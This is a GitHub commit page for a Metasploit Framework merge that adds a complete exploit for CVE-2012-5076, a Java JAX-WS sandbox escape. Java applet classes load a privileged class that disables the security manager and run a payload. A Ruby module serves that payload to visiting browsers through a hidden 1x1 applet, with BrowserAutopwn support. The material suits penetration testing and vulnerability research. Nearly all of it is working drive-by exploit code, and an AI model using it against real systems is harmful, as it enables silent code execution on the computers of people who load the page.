Skip to content

Commit fe1ecd8

Browse files
committed
Merge branch 'master' of git://github.com/rapid7/metasploit-framework
2 parents 2fc1e1e + 8e7a748 commit fe1ecd8

File tree

6 files changed

+239
-0
lines changed

6 files changed

+239
-0
lines changed
2.16 KB
Binary file not shown.
706 Bytes
Binary file not shown.
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
import java.applet.Applet;
2+
import java.io.PrintStream;
3+
import java.io.Serializable;
4+
import java.lang.reflect.Method;
5+
import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory;
6+
import com.sun.org.glassfish.gmbal.util.GenericConstructor;
7+
import java.io.ByteArrayOutputStream;
8+
import java.io.IOException;
9+
import java.io.InputStream;
10+
import java.io.ObjectInputStream;
11+
import java.io.ObjectOutputStream;
12+
import metasploit.Payload;
13+
//import java.lang.Runtime;
14+
15+
public class Exploit extends Applet
16+
{
17+
18+
public Exploit()
19+
{
20+
}
21+
22+
public byte[] hex2Byte(String str)
23+
{
24+
byte[] bytes = new byte[str.length() / 2];
25+
for (int i = 0; i < bytes.length; i++)
26+
{
27+
bytes[i] = (byte) Integer
28+
.parseInt(str.substring(2 * i, 2 * i + 2), 16);
29+
}
30+
return bytes;
31+
}
32+
33+
34+
public void init()
35+
{
36+
try
37+
{
38+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
39+
byte[] buffer = new byte[8192];
40+
int length;
41+
42+
// read in the class file from the jar
43+
InputStream is = getClass().getResourceAsStream("MyPayload.class");
44+
// and write it out to the byte array stream
45+
while( ( length = is.read( buffer ) ) > 0 )
46+
bos.write( buffer, 0, length );
47+
// convert it to a simple byte array
48+
buffer = bos.toByteArray();
49+
50+
GenericConstructor genericconstructor = new GenericConstructor(Object.class, "sun.invoke.anon.AnonymousClassLoader", new Class[0]);
51+
Object obj = genericconstructor.create(new Object[] {});
52+
Method method = ManagedObjectManagerFactory.getMethod(obj.getClass(), "loadClass", new Class[] { byte[].class });
53+
Class class1 = (Class)method.invoke(obj, new Object[] {
54+
//byte_payload
55+
buffer
56+
});
57+
class1.newInstance();
58+
//System.out.println("SecurityManager:" + System.getSecurityManager());
59+
//class1.getMethod("r", new Class[0]).invoke(class1, new Object[0]);
60+
Payload.main(null);
61+
//Runtime.getRuntime().exec("calc.exe");
62+
}
63+
catch(Exception exception)
64+
{
65+
//exception.printStackTrace();
66+
}
67+
}
68+
69+
}
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# rt.jar must be in the classpath!
2+
3+
CLASSES = \
4+
Exploit.java \
5+
MyPayload.java
6+
7+
.SUFFIXES: .java .class
8+
.java.class:
9+
javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
10+
11+
all: $(CLASSES:.java=.class)
12+
13+
install:
14+
mv Exploit.class ../../../../data/exploits/cve-2012-5076/
15+
mv MyPayload.class ../../../../data/exploits/cve-2012-5076/
16+
17+
clean:
18+
rm -rf *.class
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
import java.security.*;
2+
3+
public class MyPayload
4+
implements PrivilegedExceptionAction
5+
{
6+
7+
public MyPayload()
8+
{
9+
try
10+
{
11+
AccessController.doPrivileged(this);
12+
}
13+
catch(PrivilegedActionException e)
14+
{
15+
//e.printStackTrace();
16+
}
17+
}
18+
19+
public Object run()
20+
throws Exception
21+
{
22+
System.setSecurityManager(null);
23+
return null;
24+
}
25+
26+
public static void r()
27+
throws Exception
28+
{
29+
//System.out.println("hello!");
30+
}
31+
32+
33+
}
Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = ExcellentRanking
13+
14+
include Msf::Exploit::Remote::HttpServer::HTML
15+
16+
include Msf::Exploit::Remote::BrowserAutopwn
17+
autopwn_info({ :javascript => false })
18+
19+
def initialize( info = {} )
20+
super( update_info( info,
21+
'Name' => 'Java Applet JAX-WS Remote Code Execution',
22+
'Description' => %q{
23+
This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
24+
code outside of the sandbox as exploited in the wild in November of 2012. The
25+
vulnerability affects Java version 7u7 and earlier.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Unknown', # Vulnerability Discovery
31+
'juan vazquez' # metasploit module
32+
],
33+
'References' =>
34+
[
35+
[ 'CVE', '2012-5076' ],
36+
[ 'OSVDB', '86363' ],
37+
[ 'BID', '56054' ],
38+
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
39+
[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ]
40+
],
41+
'Platform' => [ 'java', 'win' ],
42+
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
43+
'Targets' =>
44+
[
45+
[ 'Generic (Java Payload)',
46+
{
47+
'Arch' => ARCH_JAVA,
48+
}
49+
],
50+
[ 'Windows Universal',
51+
{
52+
'Arch' => ARCH_X86,
53+
'Platform' => 'win'
54+
}
55+
],
56+
[ 'Linux x86',
57+
{
58+
'Arch' => ARCH_X86,
59+
'Platform' => 'linux'
60+
}
61+
]
62+
],
63+
'DefaultTarget' => 0,
64+
'DisclosureDate' => 'Oct 16 2012'
65+
))
66+
end
67+
68+
69+
def on_request_uri( cli, request )
70+
if not request.uri.match(/\.jar$/i)
71+
if not request.uri.match(/\/$/)
72+
send_redirect(cli, get_resource() + '/', '')
73+
return
74+
end
75+
76+
print_status("#{self.name} handling request")
77+
78+
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
79+
return
80+
end
81+
82+
paths = [
83+
[ "Exploit.class" ],
84+
[ "MyPayload.class" ]
85+
]
86+
87+
p = regenerate_payload(cli)
88+
89+
jar = p.encoded_jar
90+
91+
paths.each do |path|
92+
1.upto(path.length - 1) do |idx|
93+
full = path[0,idx].join("/") + "/"
94+
if !(jar.entries.map{|e|e.name}.include?(full))
95+
jar.add_file(full, '')
96+
end
97+
end
98+
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2012-5076", path ), "rb")
99+
data = fd.read(fd.stat.size)
100+
jar.add_file(path.join("/"), data)
101+
fd.close
102+
end
103+
104+
print_status("Sending Applet.jar")
105+
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
106+
107+
handler( cli )
108+
end
109+
110+
def generate_html
111+
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
112+
html = "<html><head></head>"
113+
html += "<body>"
114+
html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
115+
html += "</applet></body></html>"
116+
return html
117+
end
118+
119+
end

0 commit comments

Comments
 (0)